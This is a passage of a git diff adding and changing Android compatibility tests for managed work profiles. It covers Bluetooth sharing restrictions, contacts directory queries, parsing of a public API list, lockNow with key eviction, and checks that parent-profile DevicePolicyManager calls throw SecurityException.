+public class BluetoothSharingRestrictionPrimaryProfileTest extends InstrumentationTestCase {
+    /** Verifies that bluetooth sharing is available in personal profile. */
+    public void testBluetoothSharingAvailable() throws Exception {
+        if (BluetoothAdapter.getDefaultAdapter() == null) {
+            // No Bluetooth - nothing to test.
+            return;
+        }
+        assertBluetoothSharingAvailable(getInstrumentation().getContext(), true);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
new file mode 100644
index 0000000..4c5659b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ComponentInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.os.UserManager;
+
+import junit.framework.TestCase;
+
+import java.util.List;
+
+
+/**
+ * Test {@link UserManager#DISALLOW_BLUETOOTH_SHARING} in profile owner.
+ *
+ * Shamelessly copied from BluetoothRestrictionTest, would be nice to extract common stuff to a lib.
+ */
+public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
+    /** How long should we wait for the component state to change. */
+    private static final int COMPONENT_STATE_TIMEOUT_MS = 2000;
+    /** How often to check component state. */
+    private static final int POLL_TIME_MS = 400;
+    /** Activity that handles Bluetooth sharing. */
+    private static final ComponentName OPP_LAUNCHER_COMPONENT = new ComponentName(
+            "com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppLauncherActivity");
+
+    /**
+     * Tests that Bluetooth sharing activity gets disabled when the restriction is enforced.
+     */
+    public void testOppDisabledWhenRestrictionSet() throws Exception {
+        if (BluetoothAdapter.getDefaultAdapter() == null) {
+            // No Bluetooth - nothing to test.
+            return;
+        }
+
+        // The restriction is active by default for managed profiles.
+        assertBluetoothSharingAvailable(mContext, false);
+
+        // Remove the user restriction.
+        mDevicePolicyManager.clearUserRestriction(
+                ADMIN_RECEIVER_COMPONENT, UserManager.DISALLOW_BLUETOOTH_SHARING);
+        // Bluetooth sharing should become available.
+        assertBluetoothSharingAvailable(mContext, true);
+
+        // Add the user restriction back (which is the default state).
+        mDevicePolicyManager.addUserRestriction(
+                ADMIN_RECEIVER_COMPONENT, UserManager.DISALLOW_BLUETOOTH_SHARING);
+        // Bluetooth sharing should be disabled once again.
+        assertBluetoothSharingAvailable(mContext, false);
+    }
+
+    /** Verifies restriction enforcement. */
+    private static void assertRestrictionEnforced(Context context, boolean enforced) {
+        final UserManager um = (UserManager) context.getSystemService(Context.USER_SERVICE);
+        assertEquals("Invalid restriction enforcement status", enforced,
+                um.getUserRestrictions().getBoolean(UserManager.DISALLOW_BLUETOOTH_SHARING, false));
+    }
+
+    /**
+     * Builds an intent to share an image file. If Bluetooth sharing is allowed, it should be
+     * handled by {@link #OPP_LAUNCHER_COMPONENT}.
+     */
+    private static Intent fileSharingIntent() {
+        final Intent result = new Intent(Intent.ACTION_SEND);
+        final Uri uri = Uri.parse("content://foo/bar");
+        result.setDataAndType(uri, "image/*");
+        return result;
+    }
+
+    /**
+     * Verifies bluetooth sharing availability.
+     */
+    static void assertBluetoothSharingAvailable(Context context, boolean available)
+            throws Exception {
+        // Check restriction.
+        assertRestrictionEnforced(context, !available);
+        // Check component status.
+        final int componentEnabledState = available
+                ? PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
+                : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+        assertComponentStateAfterTimeout(context, OPP_LAUNCHER_COMPONENT, componentEnabledState);
+        // Check whether sharing activity is offered.
+        assertHandlerAvailable(context, fileSharingIntent(), OPP_LAUNCHER_COMPONENT, available);
+    }
+
+    /** Waits for package state to change to a desired one or fails. */
+    private static void assertComponentStateAfterTimeout(Context context, ComponentName component,
+            int expectedState)
+            throws Exception {
+        final long timeout = SystemClock.elapsedRealtime() + COMPONENT_STATE_TIMEOUT_MS;
+        int state = -1;
+        while (SystemClock.elapsedRealtime() < timeout) {
+            state = context.getPackageManager().getComponentEnabledSetting(component);
+            if (expectedState == state) {
+                // Success
+                return;
+            }
+            Thread.sleep(POLL_TIME_MS);
+        }
+        TestCase.fail("The state of " + component + " should have been " + expectedState
+                + ", it but was " + state + " after timeout.");
+    }
+
+    /** Verifies that {@code component} is offered when handling {@code intent}. */
+    private static void assertHandlerAvailable(Context context, Intent intent,
+            ComponentName component,
+            boolean shouldResolve) {
+        final List<ResolveInfo> infos =
+                context.getPackageManager().queryIntentActivities(intent, 0);
+        for (final ResolveInfo info : infos) {
+            final ComponentInfo componentInfo =
+                    info.activityInfo != null ? info.activityInfo :
+                            info.serviceInfo != null ? info.serviceInfo :
+                                    info.providerInfo;
+            final ComponentName resolvedComponent =
+                    new ComponentName(componentInfo.packageName, componentInfo.name);
+
+            if (resolvedComponent.equals(component)) {
+                if (shouldResolve) {
+                    // Found it, assertion passed.
+                    return;
+                } else {
+                    TestCase.fail(component + " is available as a handler for " + intent);
+                }
+            }
+        }
+        // If we get to this point, there was no match.
+        if (shouldResolve) {
+            TestCase.fail(component + " isn't available as a handler for " + intent);
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ContactsTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ContactsTest.java
index 65adee8..1ca6402 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ContactsTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ContactsTest.java
@@ -27,6 +27,7 @@
 import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
 import android.database.Cursor;
+import android.database.DatabaseUtils;
 import android.graphics.Rect;
 import android.net.Uri;
 import android.os.Build;
@@ -529,37 +530,40 @@
             boolean hasPrimaryDirectory = false;
             boolean hasManagedDirectory = false;
 
-            while(cursor.moveToNext()) {
-                final long directoryId = cursor.getLong(0);
-                if (directoryId == Directory.DEFAULT) {
-                    hasPrimaryDefault = true;
-                } else if (directoryId == Directory.LOCAL_INVISIBLE) {
-                    hasPrimaryInvisible = true;
-                } else if (directoryId == Directory.ENTERPRISE_DEFAULT) {
-                    hasManagedDefault = true;
-                } else if (directoryId == Directory.ENTERPRISE_LOCAL_INVISIBLE) {
-                    hasManagedInvisible = true;
-                } else {
-                    final String displayName = cursor.getString(1);
-                    if (Directory.isEnterpriseDirectoryId(directoryId)
-                            && displayName.equals(MANAGED_DIRECTORY_NAME)) {
-                        hasManagedDirectory = true;
-                    }
-                    if (!Directory.isEnterpriseDirectoryId(directoryId)
-                            && displayName.equals(PRIMARY_DIRECTORY_NAME)) {
-                        hasPrimaryDirectory = true;
+            try {
+                while(cursor.moveToNext()) {
+                    final long directoryId = cursor.getLong(0);
+                    if (directoryId == Directory.DEFAULT) {
+                        hasPrimaryDefault = true;
+                    } else if (directoryId == Directory.LOCAL_INVISIBLE) {
+                        hasPrimaryInvisible = true;
+                    } else if (directoryId == Directory.ENTERPRISE_DEFAULT) {
+                        hasManagedDefault = true;
+                    } else if (directoryId == Directory.ENTERPRISE_LOCAL_INVISIBLE) {
+                        hasManagedInvisible = true;
+                    } else {
+                        final String displayName = cursor.getString(1);
+                        if (Directory.isEnterpriseDirectoryId(directoryId)
+                                && displayName.equals(MANAGED_DIRECTORY_NAME)) {
+                            hasManagedDirectory = true;
+                        }
+                        if (!Directory.isEnterpriseDirectoryId(directoryId)
+                                && displayName.equals(PRIMARY_DIRECTORY_NAME)) {
+                            hasPrimaryDirectory = true;
+                        }
                     }
                 }
-            }
-            cursor.close();
-
-            if (i + 1 == MAX_RETRY_DIRECTORY_QUERY) {
-                assertTrue(hasPrimaryDefault);
-                assertTrue(hasPrimaryInvisible);
-                assertTrue(hasManagedDefault);
-                assertTrue(hasManagedInvisible);
-                assertTrue(hasPrimaryDirectory);
-                assertTrue(hasManagedDirectory);
+                if (i + 1 == MAX_RETRY_DIRECTORY_QUERY) {
+                    DatabaseUtils.dumpCursor(cursor);
+                    assertTrue(hasPrimaryDefault);
+                    assertTrue(hasPrimaryInvisible);
+                    assertTrue(hasManagedDefault);
+                    assertTrue(hasManagedInvisible);
+                    assertTrue(hasPrimaryDirectory);
+                    assertTrue(hasManagedDirectory);
+                }
+            } finally {
+                cursor.close();
             }
             if (hasPrimaryDefault && hasPrimaryInvisible && hasManagedDefault
                     && hasManagedInvisible && hasPrimaryDirectory && hasManagedDirectory) {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileUtils.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileUtils.java
index 203c322..7a36a3c 100755
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileUtils.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileUtils.java
@@ -49,6 +49,10 @@
 
     private static String ACTION_COPY_TO_CLIPBOARD = "com.android.cts.action.COPY_TO_CLIPBOARD";
 
+    private static String ACTION_NOTIFY_URI_CHANGE = "com.android.cts.action.NOTIFY_URI_CHANGE";
+
+    private static String ACTION_OBSERVE_URI_CHANGE = "com.android.cts.action.OBSERVE_URI_CHANGE";
+
     public void testAddParentCanAccessManagedFilters() {
         testRemoveAllFilters();
 
@@ -73,6 +77,8 @@
         intentFilter.addAction(ACTION_WRITE_TO_URI);
         intentFilter.addAction(ACTION_TAKE_PERSISTABLE_URI_PERMISSION);
         intentFilter.addAction(ACTION_COPY_TO_CLIPBOARD);
+        intentFilter.addAction(ACTION_NOTIFY_URI_CHANGE);
+        intentFilter.addAction(ACTION_OBSERVE_URI_CHANGE);
         return intentFilter;
     }
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
new file mode 100644
index 0000000..550f1d3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import com.google.common.base.Strings;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableList;
+import com.google.common.primitives.Primitives;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NodeList;
+
+import java.io.File;
+import java.lang.reflect.Method;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+
+/**
+ * Helper class for retrieving the current list of API methods.
+ */
+public class CurrentApiHelper {
+
+    /**
+     * Location of the XML file that lists the current public APIs.
+     *
+     * <p><b>Note:</b> must be consistent with
+     * {@code cts/hostsidetests/devicepolicy/AndroidTest.xml}
+     */
+    private static final String CURRENT_API_FILE = "/data/local/tmp/device-policy-test/current.api";
+
+    private static final String LOG_TAG = "CurrentApiHelper";
+
+    private static final ImmutableMap<String, Class> PRIMITIVE_TYPES = getPrimitiveTypes();
+    private static final ImmutableMap<String, String> PRIMITIVE_ENCODINGS =
+            new ImmutableMap.Builder<String, String>()
+                    .put("boolean", "Z")
+                    .put("byte", "B")
+                    .put("char", "C")
+                    .put("double", "D")
+                    .put("float", "F")
+                    .put("int", "I")
+                    .put("long", "J")
+                    .put("short", "S")
+                    .build();
+
+    private static final String TAG_PACKAGE = "package";
+    private static final String TAG_CLASS = "class";
+    private static final String TAG_METHOD = "method";
+    private static final String TAG_PARAMETER = "parameter";
+
+    private static final String ATTRIBUTE_NAME = "name";
+    private static final String ATTRIBUTE_TYPE = "type";
+
+    /**
+     * Get public API methods of a specific class as defined in the API document.
+     *
+     * @param packageName The name of the package containing the class, e.g. {@code android.app}.
+     * @param className The name of the class, e.g. {@code Application}.
+     * @return an immutable list of {@link Method} instances.
+     */
+    public static ImmutableList<Method> getPublicApis(String packageName, String className)
+            throws Exception {
+        Document apiDocument = parseXmlFile(CURRENT_API_FILE);
+        Element rootElement = apiDocument.getDocumentElement();
+        Element packageElement = getChildElementByName(rootElement, TAG_PACKAGE, packageName);
+        Element classElement = getChildElementByName(packageElement, TAG_CLASS, className);
+
+        ImmutableList.Builder<Method> builder = new ImmutableList.Builder<>();
+
+        NodeList nodes = classElement.getElementsByTagName(TAG_METHOD);
+        if (nodes != null && nodes.getLength() > 0) {
+            Class clazz = Class.forName(packageName + "." + className);
+
+            for (int i = 0; i < nodes.getLength(); ++i) {
+                Element element = (Element) nodes.item(i);
+                String name = element.getAttribute(ATTRIBUTE_NAME);
+                Class[] paramTypes = getParamTypes(element);
+                builder.add(clazz.getMethod(name, paramTypes));
+            }
+        }
+
+        return builder.build();
+    }
+
+    /**
+     * Given a {@link Class} object, get the default value if the {@link Class} refers to a
+     * primitive type, or null if it refers to an object.
+     *
+     * <p><ul>
+     *     <li>For boolean type, return {@code false}
+     *     <li>For other primitive types, return {@code 0}
+     *     <li>For all other types, return {@code null}
+     * </ul>
+     * @param clazz The desired class to instantiate.
+     * @return Default instance as described above.
+     */
+    public static Object instantiate(Class clazz) {
+        if (clazz.isPrimitive()) {
+            if (boolean.class.equals(clazz)) {
+                return false;
+            } else {
+                return 0;
+            }
+        } else {
+            return null;
+        }
+    }
+
+    private static Document parseXmlFile(String filePath) throws Exception {
+        File apiFile = new File(filePath);
+        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+        DocumentBuilder db = dbf.newDocumentBuilder();
+        Document dom = db.parse(apiFile.toURI().toString());
+
+        return dom;
+    }
+
+    private static Element getChildElementByName(Element parent,
+            String childTag, String childName) {
+        NodeList nodeList = parent.getElementsByTagName(childTag);
+        if (nodeList != null && nodeList.getLength() > 0) {
+            for (int i = 0; i < nodeList.getLength(); ++i) {
+                Element el = (Element) nodeList.item(i);
+                if (childName.equals(el.getAttribute(ATTRIBUTE_NAME))) {
+                    return el;
+                }
+            }
+        }
+        return null;
+    }
+
+    private static Class[] getParamTypes(Element methodElement) throws Exception {
+        NodeList nodes = methodElement.getElementsByTagName(TAG_PARAMETER);
+        if (nodes != null && nodes.getLength() > 0) {
+            int paramCount = nodes.getLength();
+            Class[] paramTypes = new Class[paramCount];
+            for (int i = 0; i < paramCount; ++i) {
+                String typeName = ((Element) nodes.item(i)).getAttribute(ATTRIBUTE_TYPE);
+                paramTypes[i] = getClassByName(typeName);
+            }
+            return paramTypes;
+        } else {
+            return new Class[0];
+        }
+    }
+
+    private static Class getClassByName(String typeName) throws ClassNotFoundException {
+        // Check if typeName represents an array
+        int arrayDim = 0;
+        while (typeName.endsWith("[]")) {
+            arrayDim++;
+            typeName = typeName.substring(0, typeName.length() - 2);
+        }
+
+        // Remove type parameters, if any
+        typeName = typeName.replaceAll("<.*>$", "");
+
+        if (arrayDim == 0) {
+            if (isPrimitiveTypeName(typeName)) {
+                return PRIMITIVE_TYPES.get(typeName);
+            } else {
+                return Class.forName(typeName);
+            }
+
+        } else {
+            String prefix = Strings.repeat("[", arrayDim);
+            if (isPrimitiveTypeName(typeName)) {
+                return Class.forName(prefix + PRIMITIVE_ENCODINGS.get(typeName));
+            } else {
+                return Class.forName(prefix + "L" + typeName + ";");
+            }
+        }
+    }
+
+    private static ImmutableMap<String, Class> getPrimitiveTypes() {
+        ImmutableMap.Builder<String, Class> builder = new ImmutableMap.Builder<>();
+        for (Class type : Primitives.allPrimitiveTypes()) {
+            builder.put(type.getName(), type);
+        }
+        return builder.build();
+    }
+
+    private static boolean isPrimitiveTypeName(String typeName) {
+        return PRIMITIVE_TYPES.containsKey(typeName);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelperTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelperTest.java
new file mode 100644
index 0000000..c858677
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelperTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import static com.android.cts.managedprofile.CurrentApiHelper.getPublicApis;
+import static com.android.cts.managedprofile.CurrentApiHelper.instantiate;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.test.AndroidTestCase;
+
+import java.lang.reflect.Method;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Tests for {@link CurrentApiHelper}.
+ */
+public class CurrentApiHelperTest extends AndroidTestCase {
+
+    private Class<DevicePolicyManager> mClazz;
+    private Set<Method> mPublicApis;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mClazz = DevicePolicyManager.class;
+        String testPackage = mClazz.getPackage().getName();
+        String testClass = mClazz.getSimpleName();
+        mPublicApis = new HashSet<>(getPublicApis(testPackage, testClass));
+        assertTrue(mPublicApis.size() > 0);
+    }
+
+    /**
+     * Test: {@link CurrentApiHelper#getPublicApis} includes public API methods.
+     */
+    public void testGetPublicApisIncludeMethods() throws Exception {
+        Method publicMethod = mClazz.getMethod("lockNow");
+        assertTrue(mPublicApis.contains(publicMethod));
+        publicMethod = mClazz.getMethod("isProfileOwnerApp", String.class);
+        assertTrue(mPublicApis.contains(publicMethod));
+        publicMethod = mClazz.getMethod("resetPassword", String.class, int.class);
+        assertTrue(mPublicApis.contains(publicMethod));
+        publicMethod = mClazz.getMethod("hasGrantedPolicy", ComponentName.class, int.class);
+        assertTrue(mPublicApis.contains(publicMethod));
+        publicMethod = mClazz.getMethod("installCaCert", ComponentName.class, Class.forName("[B"));
+        assertTrue(mPublicApis.contains(publicMethod));
+    }
+
+    /**
+     * Test: {@link CurrentApiHelper#getPublicApis} excludes private, hidden or {@code @SystemApi}
+     * methods.
+     */
+    public void testGetPublicApisExcludeMethods() throws Exception {
+        Method privateMethod = mClazz.getDeclaredMethod("throwIfParentInstance", String.class);
+        assertFalse(mPublicApis.contains(privateMethod));
+        Method hiddenMethod = mClazz.getMethod("isDeviceProvisioned");
+        assertFalse(mPublicApis.contains(hiddenMethod));
+        Method systemMethod = mClazz.getMethod("getProfileOwnerNameAsUser", int.class);
+        assertFalse(mPublicApis.contains(systemMethod));
+    }
+
+    /** Test for {@link CurrentApiHelper#instantiate}. */
+    public void testInstantiate() {
+        assertEquals(false, instantiate(boolean.class));
+        assertEquals(0, instantiate(byte.class));
+        assertEquals(0, instantiate(char.class));
+        assertEquals(0, instantiate(double.class));
+        assertEquals(0, instantiate(float.class));
+        assertEquals(0, instantiate(int.class));
+        assertEquals(0, instantiate(long.class));
+        assertEquals(0, instantiate(short.class));
+        assertNull(instantiate(String.class));
+        assertNull(instantiate(Integer.class));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockNowTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockNowTest.java
new file mode 100644
index 0000000..fa74db7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockNowTest.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.app.admin.DevicePolicyManager;
+
+import com.android.cts.managedprofile.BaseManagedProfileTest.BasicAdminReceiver;
+
+/**
+ * Test lockNow() for use in a managed profile. If called from a managed profile. lockNow() can be
+ * passed a flag to evict the CE key of the profile.
+ */
+public class LockNowTest extends BaseManagedProfileTest {
+
+  public void testLockNowWithKeyEviction() throws InterruptedException {
+        mDevicePolicyManager.lockNow(DevicePolicyManager.FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY);
+        // The test that the managed profile was locked is done in the host
+    }
+
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
index e655d7b..a21d9e6 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
@@ -20,8 +20,8 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.test.ActivityInstrumentationTestCase2;
 import android.support.test.InstrumentationRegistry;
+import android.test.ActivityInstrumentationTestCase2;
 
 import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
new file mode 100644
index 0000000..f086656
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.app.admin.DevicePolicyManager;
+import android.util.Log;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Collection;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+/**
+ * Tests related to the parent profile of a managed profile.
+ *
+ * The parent profile is obtained by
+ * {@link android.app.admin.DevicePolicyManager#getParentProfileInstance}.
+ */
+public class ParentProfileTest extends BaseManagedProfileTest {
+
+    /**
+     * A whitelist of public API methods in {@link android.app.admin.DevicePolicyManager}
+     * that are supported on a parent profile.
+     */
+    private static final ImmutableSet<String> SUPPORTED_APIS = new ImmutableSet.Builder<String>()
+            .add("getPasswordQuality")
+            .add("setPasswordQuality")
+            .add("getPasswordMinimumLength")
+            .add("setPasswordMinimumLength")
+            .add("getPasswordMinimumUpperCase")
+            .add("setPasswordMinimumUpperCase")
+            .add("getPasswordMinimumLowerCase")
+            .add("setPasswordMinimumLowerCase")
+            .add("getPasswordMinimumLetters")
+            .add("setPasswordMinimumLetters")
+            .add("getPasswordMinimumNumeric")
+            .add("setPasswordMinimumNumeric")
+            .add("getPasswordMinimumSymbols")
+            .add("setPasswordMinimumSymbols")
+            .add("getPasswordMinimumNonLetter")
+            .add("setPasswordMinimumNonLetter")
+            .add("getPasswordHistoryLength")
+            .add("setPasswordHistoryLength")
+            .add("getPasswordExpirationTimeout")
+            .add("setPasswordExpirationTimeout")
+            .add("getPasswordExpiration")
+            .add("getPasswordMaximumLength")
+            .add("isActivePasswordSufficient")
+            .add("getCurrentFailedPasswordAttempts")
+            .add("getMaximumFailedPasswordsForWipe")
+            .add("setMaximumFailedPasswordsForWipe")
+            .add("getMaximumTimeToLock")
+            .add("setMaximumTimeToLock")
+            .add("lockNow")
+            .add("getKeyguardDisabledFeatures")
+            .add("setKeyguardDisabledFeatures")
+            .add("getTrustAgentConfiguration")
+            .add("setTrustAgentConfiguration")
+            .add("getRequiredStrongAuthTimeout")
+            .add("setRequiredStrongAuthTimeout")
+            .build();
+
+    private static final String LOG_TAG = "ParentProfileTest";
+
+    private static final String PACKAGE_NAME = DevicePolicyManager.class.getPackage().getName();
+    private static final String CLASS_NAME = DevicePolicyManager.class.getSimpleName();
+
+    /**
+     * Verify that all public API methods of {@link android.app.admin.DevicePolicyManager},
+     * except those explicitly whitelisted in {@link #SUPPORTED_APIS},
+     * throw a {@link SecurityException} when called on a parent profile.
+     *
+     * <p><b>Note:</b> System API methods (i.e. those with the
+     * {@link android.annotation.SystemApi} annotation) are NOT tested.
+     */
+    public void testParentProfileApiDisabled() throws Exception {
+        List<Method> methods = CurrentApiHelper.getPublicApis(PACKAGE_NAME, CLASS_NAME);
+        assertValidMethodNames(SUPPORTED_APIS, methods);
+
+        ArrayList<String> failedMethods = new ArrayList<String>();
+
+        for (Method method : methods) {
+            String methodName = method.getName();
+            if (SUPPORTED_APIS.contains(methodName)) {
+                continue;
+            }
+
+            try {
+                int paramCount = method.getParameterCount();
+                Object[] params = new Object[paramCount];
+                Class[] paramTypes = method.getParameterTypes();
+                for (int i = 0; i < paramCount; ++i) {
+                    params[i] = CurrentApiHelper.instantiate(paramTypes[i]);
+                }
+                method.invoke(mParentDevicePolicyManager, params);
+
+            } catch (InvocationTargetException e) {
+                if (e.getCause() instanceof SecurityException) {
+                    // Method throws SecurityException as expected
+                    continue;
+                } else {
+                    Log.e(LOG_TAG,
+                            methodName + " throws exception other than SecurityException.", e);
+                }
+            }
+
+            // Either no exception is thrown, or the exception thrown is not a SecurityException
+            failedMethods.add(methodName);
+            Log.e(LOG_TAG, methodName + " failed to throw SecurityException");
+        }
+
+        assertTrue("Some method(s) failed to throw SecurityException: " + failedMethods,
+                failedMethods.isEmpty());
+    }
+
+    private void assertValidMethodNames(Collection<String> names, Collection<Method> allMethods) {
+        Set<String> allNames = allMethods.stream()
+                .map(Method::getName)
+                .collect(Collectors.toSet());
+
+        for (String name : names) {
+            assertTrue(name + " is not found in the API list", allNames.contains(name));
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
index 47f8716..e092888 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
@@ -46,6 +46,6 @@
                 Thread.sleep(1000);  // 1 second.
             }
         }
-        assertFalse(mDpm.isAdminActive(cn));
+        assertFalse("Clear device admin failed", mDpm.isAdminActive(cn));
     }
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningSuccessActivity.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningSuccessActivity.java
new file mode 100644
index 0000000..cfce578
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningSuccessActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class ProvisioningSuccessActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
